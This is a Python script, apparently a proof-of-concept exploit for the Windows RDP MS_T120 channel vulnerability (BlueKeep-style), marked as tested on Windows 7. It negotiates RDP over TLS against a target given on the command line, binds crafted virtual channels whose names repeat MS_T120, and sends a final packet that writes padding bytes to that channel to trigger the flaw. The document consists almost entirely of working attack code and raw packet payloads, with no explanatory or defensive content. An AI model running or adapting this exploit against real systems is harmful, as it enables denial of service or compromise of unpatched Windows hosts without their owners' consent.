#Tested Win7

import socket, sys, struct, time
from OpenSSL import SSL, crypto
from impacket.structure import Structure

class TPKT(Structure):
    commonHdr = (
        ('Version','B=3'),
        ('Reserved','B=0'),
        ('Length','>H=len(TPDU)+4'),
        ('_TPDU','_-TPDU','self["Length"]-4'),
        ('TPDU',':=""'),
    )

class TPDU(Structure):
    commonHdr = (
        ('LengthIndicator','B=len(VariablePart)+1'),
        ('Code','B=0'),
        ('VariablePart',':=""'),
    )

    def __init__(self, data = None):
        Structure.__init__(self,data)
        self['VariablePart']=''

class CR_TPDU(Structure):
    commonHdr = (
        ('DST-REF','<H=0'),
        ('SRC-REF','<H=0'),
        ('CLASS-OPTION','B=0'),
        ('Type','B=0'),
        ('Flags','B=0'),
        ('Length','<H=8'),
    )

class DATA_TPDU(Structure):
    commonHdr = (
        ('EOT','B=0x80'),
        ('UserData',':=""'),
    )

    def __init__(self, data = None):
        Structure.__init__(self,data)
        self['UserData'] =''


class RDP_NEG_REQ(CR_TPDU):
    structure = (
        ('requestedProtocols','<L'),
    )
    def __init__(self,data=None):
        CR_TPDU.__init__(self,data)
        if data is None:
            self['Type'] = 1


def channel_packets(tls):
	# 4 byte header, 3 byte x224
	pkt = ''
	p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"	# ErectDomainRequestPDU
	tls.send(p1)
	p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28"					# AttachUserRequestPDU
	tls.send(p2)
	pkt = tls.recv(1024)

	# Rest are Channel Join Requests
	# 4 byte header, 3 byte x224
	p4 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xeb"
	tls.send(p4)
	pkt = tls.recv(1024)
	p5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xec"
	tls.send(p5)
	pkt = tls.recv(1024)
	p6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xed"
	tls.send(p6)
	pkt = tls.recv(1024)
	p7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xee"
	tls.send(p7)
	pkt = tls.recv(1024)
	p8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xef"
	tls.send(p8)

def main(host, channum):
	tpkt = TPKT()
	tpdu = TPDU()
	rdp_neg = RDP_NEG_REQ()
	rdp_neg['Type'] = 1
	rdp_neg['requestedProtocols'] = 1
	tpdu['VariablePart'] = rdp_neg.getData()
	tpdu['Code'] = 0xe0
	tpkt['TPDU'] = tpdu.getData()
	
	s = socket.socket()
	s.connect((host,3389))
	s.sendall(tpkt.getData())
	pkt = s.recv(8192)

	ctx = SSL.Context(SSL.TLSv1_METHOD)
	tls = SSL.Connection(ctx,s)
	tls.set_connect_state()
	tls.do_handshake()

	# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr

	MS_T120 = "\x4d\x53\x5f\x54\x31\x32\x30" #This gets you to code path in IcaBindVirtualChannels
	padding = int(channum)*"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00"

	buf = (
#---------------------------------------------------------------------------
	"\x03\x00"		# Header
	"\x01\xca"		# Size
	"\x02\xf0\x80"	# X224
	"\x7f\x65"
	"\x82\x07"		# +0xA9
	"\xc2\x04"
	"\x01\x01\x04\x01\x01\x01\x01\xff"
#---------------------------------------------------------------------------
	# mcsCi variable
	"\x30\x19"
	"\x02\x01\x22"		#MaxChannelIDs
	"\x02\x01\x02"		#MaxUserIDs
	"\x02\x01\x00"		#MaxTokenIDs
	"\x02\x01\x01"		#Priorities
	"\x02\x01\x00"		#MinThroughput
	"\x02\x01\x01"		#MaxHeight
	"\x02\x02\xff\xff"	#MaxMCSPDUSize
	"\x02\x01\x02"		#ProtocolVersion
#---------------------------------------------------------------------------
	# mcsCi variable
	"\x30\x19"		
	"\x02\x01\x01"		#MaxChannelIDs
	"\x02\x01\x01"		#MaxUserIDs
	"\x02\x01\x01"		#MaxTokenIDs
	"\x02\x01\x01"		#Priorities
	"\x02\x01\x00"		#MinThroughput
	"\x02\x01\x01"		#MaxHeight
	"\x02\x02\x04\x20"	#MaxMCSPDUSize
	"\x02\x01\x02"		#ProtocolVersion
#---------------------------------------------------------------------------
	# mcsCi variable
	"\x30\x1c"
	"\x02\x02\xff\xff"	#MaxChannelIDs
	"\x02\x02\xfc\x17"	#MaxUserIDs
	"\x02\x02\xff\xff"	#MaxTokenIDs
	"\x02\x01\x01"		#Priorities
	"\x02\x01\x00"		#MinThroughput
	"\x02\x01\x01"		#MaxHeight
	"\x02\x02\xff\xff"	#MaxMCSPDUSize
	"\x02\x01\x02"		#ProtocolVersion
#---------------------------------------------------------------------------
	# gccCCrq variable
	"\x04"
	"\x82\x01"
	"\x61"
	"\x00\x05\x00\x14"
	"\x7c\x00\x01"

	"\x81\x48"
	"\x00"
	"\x08\x00"
	"\x10\x00"
	"\x01\xc0"
	"\x00"
	"\x44\x75\x63\x61" 	# Duca

	"\x81\x34"
#---------------------------------------------------------------------------
	# CS_CORE
	"\x01\xc0"			# Type
	"\xea\x00"			# Length
	"\x0a\x00\x08\x00"	# Version
	"\x80\x07"			# DesktopWidth
	"\x38\x04"			# DesktopHeight
	"\x01\xca"			# ColorDepth
	"\x03\xaa"			# SASSequence
	"\x09\x04\x00\x00"	# KeyboardLayout
	"\xee\x42\x00\x00"	# BuildNumber
	"\x44\x00\x45\x00"#------
	"\x53\x00\x4b\x00"#		|
	"\x54\x00\x4f\x00"#		|
	"\x50\x00\x2d\x00"#		|
	"\x46\x00\x38\x00"#		|-- ClientName
	"\x34\x00\x30\x00"#		|
	"\x47\x00\x49\x00"#		|
	"\x4b\x00\x00\x00"#------
	"\x04\x00\x00\x00"	# KeyboardType
	"\x00\x00\x00\x00"	# KeyboardSub
	"\x0c\x00\x00\x00"	# KeyboardFunc
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"#---
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"#  |
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"#  |--imeFileName
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"#---	
	"\x01\xca"			# PostBeta2ColorDepth 
	"\x01\x00"			# ProductID
	"\x00\x00\x00\x00"	# SerialNumber
	"\x18\x00"			# HighColorDepth
	"\x0f\x00"			# SupportedColorDepth
	"\xaf\x07"			# EarlyCapabilityFlags
	"\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d"#--
	"\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39"#		 |
	"\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00"#		 |-- ClientProductID
	"\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07"#		 |
	"\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00"#---
	"\x00"				# ConnType
	"\x00"				# Padding
	"\x64\x00\x00\x00"	# ServerProtocol
	"\x04\xc0\x0c\x00"	# PhysWidth
	"\x15\x00\x00\x00"	# PhysHeight
	"\x00\x00\x00\x00"	# Some Opt Field? idk
#---------------------------------------------------------------------------
	# CS_SECURITY
	"\x02\xc0"			# Type
	"\x0c\x00"			# Length
	"\x1b\x00\x00\x00"	# EncryptionMethod
	"\x00\x00\x00\x00"	# Extension
#---------------------------------------------------------------------------
	# CS_NET - look in to CHANNEL_DEFs?
	"\x03\xc0"			# Name
	"\x38\x00" 			# Length
	"\x05\x00\x00\x00"	# ChannelCount - "MAX OF 31"
#-- -- -- -- -- -- -- -- -- --
	# 1nd channel
	"\x72\x64\x70\x73\x6e\x64\x00\x00"
	"\x0f\x00\x00\xc0"
#-- -- -- -- -- -- -- -- -- --
	# 2rd channel
	"\x63\x6c\x69\x70\x72\x64\x72\x00"
	"\x00\x00\xa0\xc0"
#-- -- -- -- -- -- -- -- -- --
	# 3th channel
	"\x64\x72\x64\x79\x6e\x76\x63\x00"
	"\x00\x00\x80\xc0"
	+ padding 	
)

	size0 = struct.pack(">h", len(buf))
	size1 = struct.pack(">h", len(buf)-12)
	size2 = struct.pack(">h", len(buf)-109)
	size3 = struct.pack(">h", len(buf)-118)
	size4 = struct.pack(">h", len(buf)-132)
	size5 = struct.pack(">h", len(buf)-390)
	barr = bytearray()
	barr.extend(map(ord, buf))
	barr[2] = size0[0]
	barr[3] = size0[1]
	barr[10] = size1[0]
	barr[11] = size1[1]
	barr[107] = size2[0]
	barr[108] = size2[1]
	barr[116] = 0x81
	barr[117] = size3[1] 
	barr[130] = 0x81
	barr[131] = size4[1]
	barr[392] = size5[1]

	tls.sendall(bytes(barr))
	pkt = tls.recv(8192)
	print("[+] Init Packet Sent")
	channel_packets(tls)
	print("[+] Channel Packets Sent")

	buf3 = (
		"\x03\x00"			# Header
		"\x01\x61"			# Size	
		"\x02\xf0\x80"		# x224
		"\x64"				# SendDataRequest
		"\x00\x07"			# Initiator
		"\x03\xeb"			# ChannelID
		"\x70"				# DataPriority
		"\x81\x52"			# mcsSDrq
		"\x40\x00"			# Flags
		"\xa1\xa5"			# Flagshigh
		"\x09\x04\x09\x04"	# CodePage
		"\xbb\x47\x03\x00"	# Flags
		"\x00\x00"			# cbDomain
		"\x0e\x00"			# cbUsername
		"\x08\x00"			# cbPassword
		"\x00\x00"			# cbAlternateShell
		"\x00\x00"			# cbWorkingDir

		"\x00\x00"			# Skip Domain
		"\x67\x00\x72"		# Username
		"\x00\x31\x00\x7a"
		"\x00\x7a\x00\x31"
		"\x00\x79\x00"

		"\x00\x00"		# Seperator	
		"\x74\x00\x65\x00"	# Password
		"\x73\x00\x74\x00"														
		"\x00\x00\x00\x00\x00\x00"	# Skip AlternateShell and WorkingDir
		# TS_EXTENDED_INFO_PACKET
		"\x02\x00"			# clientAddressFamily
		"\x1c\x00"			# cbClientAddress
		"\x31\x00\x39"		# clientAddress
		"\x00\x32\x00\x2e"
		"\x00\x31\x00\x36"
		"\x00\x38\x00\x2e"
		"\x00\x32\x00\x33"
		"\x00\x32\x00\x2e"
		"\x00\x31"

		"\x00\x00"		# Seperator	

		"\x00\x40"			# cbClientDir
		"\x00\x43\x00\x3a"	# clientDir
		"\x00\x5c\x00\x57"
		"\x00\x49\x00\x4e"
		"\x00\x44\x00\x4f"
		"\x00\x57\x00\x53"
		"\x00\x5c\x00\x73"
		"\x00\x79\x00\x73"
		"\x00\x74\x00\x65"
		"\x00\x6d\x00\x33"
		"\x00\x32\x00\x5c"
		"\x00\x6d\x00\x73"
		"\x00\x74\x00\x73"
		"\x00\x63\x00\x61"
		"\x00\x78\x00\x2e"
		"\x00\x64\x00\x6c"
		"\x00\x6c\x00"

		"\x00"			#Seperator

		"\x00\xa4\x01"	
		"\x00\x00\x4d\x00\x6f\x00\x75"		#TimeZone
		"\x00\x6e\x00\x74\x00\x61\x00"
		"\x69\x00\x6e\x00\x20\x00\x53"
		"\x00\x74\x00\x61\x00\x6e\x00"
		"\x64\x00\x61\x00\x72\x00\x64"
		"\x00\x20\x00\x54\x00\x69\x00"
		"\x6d\x00\x65\x00"

		"\x00\x00\x00\x00\x00\x00\x00"		#Skipped params
		"\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x0b\x00\x00\x00\x01\x00"	
		"\x02\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00"

		"\x4d\x00\x6f\x00\x75\x00\x6e"		#Timezone
		"\x00\x74\x00\x61\x00\x69\x00"
		"\x6e\x00\x20\x00\x44\x00\x61"
		"\x00\x79\x00\x6c\x00\x69\x00"
		"\x67\x00\x68\x00\x74\x00\x20"
		"\x00\x54\x00\x69\x00\x6d\x00"
		"\x65\x00\x00\x00"

		"\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x03\x00\x00\x00"
		"\x02\x00\x02\x00\x00\x00\x00"
		"\x00\x00\x00\xc4\xff\xff\xff"
		"\x01\x00\x00\x00\x06\x00\x00"
		"\x00\x00\x00\x64\x00\x00\x00"
		)


	

	barr = bytearray()
	barr.extend(map(ord, buf3))
	tls.sendall(bytes(barr))
	pkt = tls.recv(8192)
	pkt = tls.recv(8192)
	pkt = tls.recv(8192)


	print("[+] ClientInfo Packet Sent")

	buf4 = (
		"\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54"
		"\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d"
		"\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03"
		"\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38"
		"\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58"
		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa"
		"\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00"
		"\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00"
		"\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00"
		"\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00"
		"\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08"
		"\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a"
		"\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d"
		"\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00"
		"\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e"
		"\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe"
		"\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe"
		"\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40"
		"\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01"
		"\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14"
		"\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02"
		"\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c"
		"\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01"
		"\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00"
		"\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f"
		"\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4"
		"\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05"
		"\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb"
		"\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02"
		"\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02"
		"\x01\x01\x04"
		)
	barr = bytearray()
	barr.extend(map(ord, buf4))
	tls.sendall(bytes(barr))
	pkt = tls.recv(8192)

	buf5 = (
		"\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00"
		"\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00"
		"\x01\x00\xea\x03"
		)
	barr = bytearray()
	barr.extend(map(ord, buf5))
	tls.sendall(bytes(barr))
	pkt = tls.recv(8192)

	buf6 = (
		"\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00"
		"\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00"
		"\x01\x00\x00\x00\x00\x00\x00\x00"
		)

	barr = bytearray()
	barr.extend(map(ord, buf6))
	tls.sendall(bytes(barr))

	print("[+] Session established, sending channel packet")
	time.sleep(2)
	pkt = tls.recv(8192)
	buf7 = (
		"\x03\x00\x00\x22\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00"
		"\x00\x00\x03\x00\x00\x00\x72\x41\x41\x41\x41\x41\x41\x41\x41\x41"
		"\x41\x41"
		)
	barr = bytearray()
	barr.extend(map(ord, buf7))
	tls.sendall(bytes(barr))
	print("[+] Sent")
	pkt = tls.recv(8192)


if __name__ == '__main__':
	main(sys.argv[1], sys.argv[2])
